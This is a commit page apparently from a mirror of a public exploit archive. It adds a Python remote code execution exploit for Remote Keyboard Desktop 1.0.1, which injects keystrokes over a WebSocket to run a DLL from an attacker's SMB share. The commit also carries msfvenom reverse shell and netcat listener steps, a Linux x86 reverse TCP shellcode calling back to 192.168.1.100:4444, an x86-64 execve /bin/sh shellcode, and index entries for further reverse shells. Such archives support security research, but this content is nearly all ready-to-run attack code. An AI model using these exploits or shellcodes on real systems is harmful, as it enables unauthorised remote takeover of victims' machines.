Skip to content

Commit 4c3b0b0

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents b5c2b40 + 6d030b3 commit 4c3b0b0

File tree

6 files changed

+545
-0
lines changed

6 files changed

+545
-0
lines changed

‎exploits/windows/remote/52299.py‎

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
# Exploit Title: Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)
2+
# Date: 05/17/2025
3+
# Exploit Author: Chokri Hammedi
4+
# Vendor Homepage: https://remotecontrolio.web.app/
5+
# Software Link: https://apps.microsoft.com/detail/9n0jw8v5sc9m?hl=neutral&gl=US&ocid=pdpshare
6+
# Version: 1.0.1
7+
# Tested on: Windows 10 Pro Build 19045
8+
9+
# Start Remote Keyboard Desktop on your windows
10+
# Preparing:
11+
#
12+
# 1. Generating payload (dll/exe):
13+
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.105 LPORT=8080 -f dll > shell.dll
14+
# 2. Start smb server: impacket-smbserver SHARE . -smb2support
15+
# 3. nc -lnvp 8080
16+
# 4. python exploit.py
17+
#####
18+
19+
#!/usr/bin/env python3
20+
21+
import websocket
22+
import json
23+
import time
24+
25+
target = "192.168.8.105"
26+
lhost = "192.168.8.101"
27+
WS_URL = f"ws://{target}:8080/"
28+
payload = "shell2.dll" # payload dll/exe filename
29+
debug = False
30+
31+
HEADER_LIST = [
32+
"User-Agent: Dart/3.7 (dart:io)",
33+
f"Origin: http://{target}:8080",
34+
"Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits"
35+
]
36+
37+
#SMB_PATH = f"cmd /c \\\\{lhost}\\SHARE\\{payload}" # exe based
38+
39+
SMB_PATH = f"rundll32.exe \\\\{lhost}\\SHARE\\{payload},ExportedFunc" # dll
40+
based
41+
42+
special_mapping = {
43+
' ': ("SPACE", False),
44+
'/': ("NUMPAD_DIVIDE", False),
45+
'\\': ("\\", False),
46+
'.': ("NUMPAD_DECIMAL", False),
47+
',': (",", False),
48+
}
49+
50+
def send_key_event(ws, key, key_down):
51+
event = {"command": "keyboard_event", "data": {"key": key, "keyDown":
52+
key_down, "capsLock": False}}
53+
ws.send(json.dumps(event))
54+
55+
def send_text(ws, text, delay=0.05):
56+
shift_pressed = False
57+
for ch in text:
58+
if ch in special_mapping:
59+
key_name, need_shift = special_mapping[ch]
60+
elif ch.isalpha():
61+
need_shift = ch.isupper()
62+
key_name = ch.upper()
63+
elif ch.isdigit():
64+
key_name = ch
65+
need_shift = False
66+
else:
67+
raise ValueError(f"No key mapping for character: {ch!r}")
68+
69+
if need_shift and not shift_pressed:
70+
send_key_event(ws, "SHIFT", True)
71+
shift_pressed = True
72+
elif not need_shift and shift_pressed:
73+
send_key_event(ws, "SHIFT", False)
74+
shift_pressed = False
75+
76+
send_key_event(ws, key_name, True)
77+
send_key_event(ws, key_name, False)
78+
time.sleep(delay)
79+
80+
if shift_pressed:
81+
send_key_event(ws, "SHIFT", False)
82+
83+
def send_key(ws, keys, delay=0.05):
84+
for key in keys:
85+
send_key_event(ws, key, True)
86+
time.sleep(delay)
87+
for key in reversed(keys):
88+
send_key_event(ws, key, False)
89+
90+
def on_open(ws):
91+
print ("Let's start!")
92+
93+
send_key(ws, ["LEFT_WINDOWS", "R"])
94+
time.sleep(0.5)
95+
96+
send_text(ws, SMB_PATH)
97+
send_key(ws, ["RETURN"])
98+
print ("Executing...")
99+
time.sleep(1.2)
100+
101+
print("Check your listener!")
102+
if debug:
103+
104+
print("\033[42;37mExploit by blue0x1 - github.com/blue0x1\033[0m
105+
")
106+
107+
ws.close()
108+
109+
def on_message(ws, message):
110+
if debug:
111+
print("[=] Received:", message)
112+
113+
def on_error(ws, error):
114+
if debug:
115+
print("[!] Error:", error)
116+
117+
def on_close(ws, code, reason):
118+
if debug:
119+
print(f"[x] Closed: {code} - {reason}")
120+
121+
if __name__ == "__main__":
122+
websocket.enableTrace(debug)
123+
ws = websocket.WebSocketApp(
124+
WS_URL,
125+
header=HEADER_LIST,
126+
on_open=on_open,
127+
on_message=on_message,
128+
on_error=on_error,
129+
on_close=on_close
130+
)
131+
132+
ws.run_forever()

‎files_exploits.csv‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45357,6 +45357,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
4535745357
34668,exploits/windows/remote/34668.txt,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)",2014-09-15,"Daniele Linguaglossa",remote,windows,80,2014-09-15,2016-10-10,1,CVE-2014-6287;OSVDB-111386,,,http://www.exploit-db.com/screenshots/idlt35000/screen-shot-2014-10-28-at-91538-am.png,http://www.exploit-db.comhfs2.3_288.zip,
4535845358
39161,exploits/windows/remote/39161.py,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)",2016-01-04,"Avinash Thapa",remote,windows,,2016-01-04,2016-05-09,1,CVE-2014-6287;OSVDB-111386,,,,http://www.exploit-db.comhfs2.3c.src.zip,
4535945359
49599,exploits/windows/remote/49599.py,"Remote Desktop Web Access - Authentication Timing Attack (Metasploit Module)",2021-02-26,"Matthew Dunn",remote,windows,,2021-02-26,2021-02-26,0,,,,,,
45360+
52299,exploits/windows/remote/52299.py,"Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)",2025-05-21,"Chokri Hammedi",remote,windows,,2025-05-21,2025-05-21,0,,,,,,
4536045361
46697,exploits/windows/remote/46697.py,"RemoteMouse 3.008 - Arbitrary Remote Command Execution",2019-04-15,0rphon,remote,windows,,2019-04-15,2021-01-08,1,,Remote,,http://www.exploit-db.com/screenshots/idlt47000/image.png,http://www.exploit-db.comRemoteMouse.exe,
4536145362
1565,exploits/windows/remote/1565.pl,"RevilloC MailServer 1.21 - 'USER' Remote Buffer Overflow",2006-03-07,"securma massine",remote,windows,110,2006-03-06,,1,OSVDB-23735;CVE-2006-1124,,,,,
4536245363
16775,exploits/windows/remote/16775.rb,"RhinoSoft Serv-U FTP Server - Session Cookie Buffer Overflow (Metasploit)",2010-03-10,Metasploit,remote,windows,,2010-03-10,2016-09-27,1,CVE-2009-4006;OSVDB-59772,"Metasploit Framework (MSF)",,,,

‎files_shellcodes.csv‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -630,6 +630,7 @@ id,file,description,date_published,author,type,platform,size,date_added,date_upd
630630
17371,shellcodes/linux_x86/17371.c,"Linux/x86 - Reverse (localhost:8080/TCP) Shell + SSL Shellcode (422 bytes)",2011-06-08,"Jonathan Salwan",,linux_x86,422,2011-06-08,2018-01-17,1,,,,,,http://shell-storm.org/shellcode/files/shellcode-770.php
631631
43674,shellcodes/linux_x86/43674.c,"Linux/x86 - Reverse (www.netric.org:45295/TCP) Shell (/bin/sh) Shellcode (131 bytes)",2009-01-01,eSDee,,linux_x86,131,2018-01-17,2018-01-17,0,,,,,,http://shell-storm.org/shellcode/files/shellcode-552.php
632632
13340,shellcodes/linux_x86/13340.c,"Linux/x86 - Reverse PHP (Writes To /var/www/cb.php On The Filesystem) Shell Shellcode (508 bytes)",2008-08-18,GS2008,,linux_x86,508,2008-08-17,2017-07-04,1,,,,,,http://shell-storm.org/shellcode/files/shellcode-208.php
633+
52297,shellcodes/linux_x86/52297.c,"Linux/x86 - Reverse TCP Shellcode (95 bytes)",2025-05-21,"Al Baradi Joy",,linux_x86,95,2025-05-21,2025-05-21,0,,,,,,
633634
35519,shellcodes/linux_x86/35519.c,"Linux/x86 - rmdir() Shellcode (37 bytes)",2014-12-11,kw4,,linux_x86,37,2014-12-30,2014-12-30,0,,,,,,
634635
43691,shellcodes/linux_x86/43691.c,"Linux/x86 - rmdir(/tmp/willdeleted) Shellcode (41 bytes)",2010-05-31,gunslinger_,,linux_x86,41,2018-01-17,2018-01-17,0,,,,,,http://shell-storm.org/shellcode/files/shellcode-633.php
635636
18379,shellcodes/linux_x86/18379.c,"Linux/x86 - Search For '.PHP'/'.HTML' Writable Files + Add Code Shellcode (380+ bytes)",2012-01-17,rigan,,linux_x86,380,2012-01-17,2017-08-24,1,,,,,,http://shell-storm.org/shellcode/files/shellcode-799.php
@@ -820,6 +821,7 @@ id,file,description,date_published,author,type,platform,size,date_added,date_upd
820821
41498,shellcodes/linux_x86-64/41498.nasm,"Linux/x64 - setuid(0) + execve(/bin/sh) + Polymorphic Shellcode (31 bytes)",2017-03-03,"Robert L. Taylor",,linux_x86-64,31,2017-03-03,2017-08-24,0,,,,,,
821822
13320,shellcodes/linux_x86-64/13320.c,"Linux/x64 - setuid(0) + execve(/bin/sh) Shellcode (49 bytes)",2009-05-14,evil.xi4oyu,,linux_x86-64,49,2009-05-13,2017-07-04,1,,,,,,http://shell-storm.org/shellcode/files/shellcode-77.php
822823
47183,shellcodes/linux_x86-64/47183.c,"Linux/x86 - execve(/bin/sh) + NOT +SHIFT-N+ XOR-N Encoded Shellcode (168 bytes)",2019-07-29,"Pedro Cabral",,linux_x86-64,168,2019-07-29,2019-08-01,0,,,,,,
824+
52296,shellcodes/linux_x86-64/52296.asm,"Linux/x86-64 - execve(_/bin/sh_) Shellcode (36 bytes)",2025-05-21,"Sayan Ray",,linux_x86-64,36,2025-05-21,2025-05-21,0,,,,,,
823825
51258,shellcodes/linux_x86-64/51258.txt,"Linux/x86_64 - bash Shellcode with xor encoding",2023-04-05,"Jeenika Anadani",,linux_x86-64,71,2023-04-05,2023-04-05,0,,,,,,
824826
47290,shellcodes/linux_x86-64/47290.c,"Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) + Password (pass) Shellcode (129 bytes)",2019-08-19,"Gonçalo Ribeiro",,linux_x86-64,129,2019-08-19,2019-08-20,0,,,,,,
825827
46979,shellcodes/linux_x86-64/46979.c,"Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (104 bytes)",2019-06-10,"Aron Mihaljevic",,linux_x86-64,104,2019-06-10,2019-06-10,0,,,,,,
@@ -1039,6 +1041,7 @@ id,file,description,date_published,author,type,platform,size,date_added,date_upd
10391041
50368,shellcodes/windows_x86/50368.c,"Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes)",2021-10-01,"Daniel Ortiz",,windows_x86,,2021-10-01,2021-10-29,0,,,,,,
10401042
39900,shellcodes/windows_x86/39900.c,"Windows/x86 - WinExec(_cmd.exe__0) Shellcode (184 bytes)",2016-06-07,"Roziul Hasan Khan Shifat",,windows_x86,184,2016-06-07,2016-09-05,0,,,,,,
10411043
14288,shellcodes/windows_x86/14288.asm,"Windows/x86 - Write-to-file ('pwned' ./f.txt) + Null-Free Shellcode (278 bytes)",2010-07-09,"Brett Gervasoni",,windows_x86,278,2010-07-09,2017-08-24,1,CVE-2010-0425,,,,,http://shell-storm.org/shellcode/files/shellcode-681.php
1044+
52298,shellcodes/windows_x86-64/52298.py,"Windows 11 x64 - Reverse TCP Shellcode (564 bytes)",2025-05-21,"Victor Huerlimann",,windows_x86-64,564,2025-05-21,2025-05-21,0,,,,,,
10421045
41827,shellcodes/windows_x86-64/41827.asm,"Windows/x64 (10) - Egghunter Shellcode (45 bytes)",2017-04-06,"Peter Baris",,windows_x86-64,45,2017-04-06,2017-04-06,0,,,,,,
10431046
45293,shellcodes/windows_x86-64/45293.c,"Windows/x64 (10) - WoW64 Egghunter (w00tw00t) Shellcode (50 bytes)",2018-08-29,n30m1nd,,windows_x86-64,50,2018-08-29,2018-09-08,0,,,,,,
10441047
37895,shellcodes/windows_x86-64/37895.asm,"Windows/x64 (2003) - Token Stealing Shellcode (59 bytes)",2015-08-20,"Fitzl Csaba",,windows_x86-64,59,2015-08-20,2015-08-20,0,,,,,,

‎shellcodes/linux_x86-64/52296.asm‎

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
# Exploit Title: Linux/x86-64 execve("/bin/sh") Shellcode (36 bytes)
2+
# Date: 2025-03-23
3+
# Exploit Author: Sayan Ray [@barebones90]
4+
# Tested on: Linux x86-64
5+
# CVE: N/A
6+
7+
; P0P SH311 execve ("/bin/sh", NULL, NULL)
8+
9+
GLOBAL _start
10+
11+
section .text
12+
13+
_start:
14+
xor rax, rax
15+
push rax
16+
17+
mov r10, 0x68732f6e69622f ; hs/nib/
18+
push r10
19+
20+
mov rdi, rsp ; rdi points to the string "/bin/sh" from the stack
21+
; ( const char *pathname )
22+
23+
; Calling execve
24+
mov rax, 0x3b ; 59 [execve syscall]
25+
mov rsi, 0 ; NULL ( char *const _Nullable argv[] )
26+
mov rdx, 0 ; NULL ( char *const _Nullable envp[] )
27+
syscall
28+
29+
; Shellcode:
30+
; \x48\x31\xc0\x50\x49\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x41\x52\x48\x89\xe7\xb8\x3b\x00\x00\x00\xbe\x00\x00\x00\x00\xba\x00\x00\x00\x00\x0f\x05
31+
; [Length] : 36

‎shellcodes/linux_x86/52297.c‎

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
/*
2+
# Exploit Title: Linux/x86 - Reverse TCP Shellcode (95 bytes)
3+
# Date: 2025-04-06
4+
# Exploit Author: Al Baradi Joy
5+
# Platform: Linux x86
6+
# Type: Shellcode
7+
# Shellcode Length: 95 bytes
8+
# Tested On: Kali Linux x86
9+
# Connect-Back IP: 192.168.1.100
10+
# Connect-Back Port: 4444
11+
12+
Description:
13+
This is a null-free reverse TCP shell shellcode for Linux x86 that connects back to 192.168.1.100:4444 and spawns a /bin/sh shell. Useful in remote code execution exploits for getting a remote shell.
14+
15+
Usage:
16+
Start a netcat listener on your attacking machine:
17+
nc -lvnp 4444
18+
19+
Compile and run on the target machine:
20+
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
21+
./shellcode
22+
*/
23+
24+
#include <stdio.h>
25+
#include <string.h>
26+
27+
unsigned char shellcode[] =
28+
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2" // zero out registers
29+
"\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66" // socket syscall
30+
"\xcd\x80\x89\xc6\x31\xc0\x68\xc0\xa8\x01\x64" // push IP: 192.168.1.100
31+
"\x66\x68\x11\x5c" // push port 4444
32+
"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56"
33+
"\x89\xe1\xb0\x66\xb3\x03\xcd\x80" // connect
34+
"\x31\xc9\xb1\x02\x89\xf3\xb0\x3f" // dup2 loop
35+
"\xcd\x80\x49\x79\xf9"
36+
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
37+
"\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"; // execve("/bin/sh")
38+
39+
int main() {
40+
printf("Shellcode Length: %zu\n", strlen(shellcode));
41+
int (*ret)() = (int(*)())shellcode;
42+
ret();
43+
}

0 commit comments

Comments
 (0)